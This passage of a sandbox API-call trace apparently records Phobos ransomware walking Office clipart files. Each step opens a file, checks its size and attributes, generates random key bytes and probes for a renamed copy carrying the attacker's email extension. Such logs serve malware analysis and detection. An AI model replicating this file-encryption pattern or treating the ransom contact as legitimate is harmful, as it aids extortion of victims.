lpFileSize=0x411fa30*=10500) returned 1 [0153.316] CloseHandle (hObject=0x528) returned 1 [0153.316] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00998_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00998_.wmf")) returned 0x220 [0153.316] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00998_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00998_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.317] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00998_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00998_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.317] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.317] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe01160_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.317] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2436) returned 1 [0153.317] CloseHandle (hObject=0x528) returned 1 [0153.317] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe01160_.wmf")) returned 0x220 [0153.317] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01160_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe01160_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.318] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe01160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.318] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.318] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe01172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.412] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1436) returned 1 [0153.412] CloseHandle (hObject=0x574) returned 1 [0153.412] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe01172_.wmf")) returned 0x220 [0153.412] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01172_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe01172_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.414] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe01172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.415] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.415] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02263_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02263_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.418] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=33358) returned 1 [0153.418] CloseHandle (hObject=0x574) returned 1 [0153.418] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02263_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02263_.wmf")) returned 0x220 [0153.419] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02263_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02263_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.419] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02263_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02263_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.419] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.419] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02267_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.419] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=30944) returned 1 [0153.420] CloseHandle (hObject=0x574) returned 1 [0153.420] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02267_.wmf")) returned 0x220 [0153.420] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02267_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02267_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.420] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.420] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.420] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02270_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.425] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=28454) returned 1 [0153.425] CloseHandle (hObject=0x574) returned 1 [0153.425] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02270_.wmf")) returned 0x220 [0153.425] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02270_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02270_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.427] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02270_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.428] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.428] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02285_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02285_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.431] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=16528) returned 1 [0153.431] CloseHandle (hObject=0x574) returned 1 [0153.431] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02285_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02285_.wmf")) returned 0x220 [0153.431] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02285_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02285_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.432] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02285_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02285_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.432] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.432] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02288_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02288_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.433] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=30432) returned 1 [0153.433] CloseHandle (hObject=0x574) returned 1 [0153.433] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02288_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02288_.wmf")) returned 0x220 [0153.433] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02288_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02288_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.433] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02288_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02288_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.433] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.433] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02293_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02293_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.434] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=22608) returned 1 [0153.434] CloseHandle (hObject=0x574) returned 1 [0153.434] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02293_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02293_.wmf")) returned 0x220 [0153.434] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02293_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02293_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.434] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02293_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02293_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.434] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.435] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02369_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.435] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2240) returned 1 [0153.435] CloseHandle (hObject=0x574) returned 1 [0153.435] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02369_.wmf")) returned 0x220 [0153.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02369_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02369_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.437] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.438] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.439] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02957_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.445] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3184) returned 1 [0153.445] CloseHandle (hObject=0x574) returned 1 [0153.445] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02957_.wmf")) returned 0x220 [0153.445] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02957_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02957_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.445] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02957_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.446] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.446] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03241_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.446] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2228) returned 1 [0153.446] CloseHandle (hObject=0x574) returned 1 [0153.447] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03241_.wmf")) returned 0x220 [0153.447] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03241_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03241_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.447] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03241_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.447] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.447] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03257_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03257_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.450] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=13184) returned 1 [0153.450] CloseHandle (hObject=0x574) returned 1 [0153.452] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03257_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03257_.wmf")) returned 0x220 [0153.452] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03257_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03257_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.452] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03257_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03257_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.452] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.452] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03339_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03339_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.455] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=10284) returned 1 [0153.455] CloseHandle (hObject=0x574) returned 1 [0153.455] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03339_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03339_.wmf")) returned 0x220 [0153.455] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03339_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03339_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.455] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03339_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03339_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.455] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.455] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03451_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03451_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.457] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=8456) returned 1 [0153.457] CloseHandle (hObject=0x574) returned 1 [0153.457] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03451_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03451_.wmf")) returned 0x220 [0153.457] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03451_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03451_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.457] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03451_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03451_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.457] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.457] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03459_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.462] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=8568) returned 1 [0153.462] CloseHandle (hObject=0x574) returned 1 [0153.462] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03459_.wmf")) returned 0x220 [0153.462] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03459_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03459_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.464] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03459_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.465] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0153.466] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03470_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03470_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.469] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=14744) returned 1 [0153.469] CloseHandle (hObject=0x574) returned 1 [0153.469] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03470_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03470_.wmf")) returned 0x220 [0153.469] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03470_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03470_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.471] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 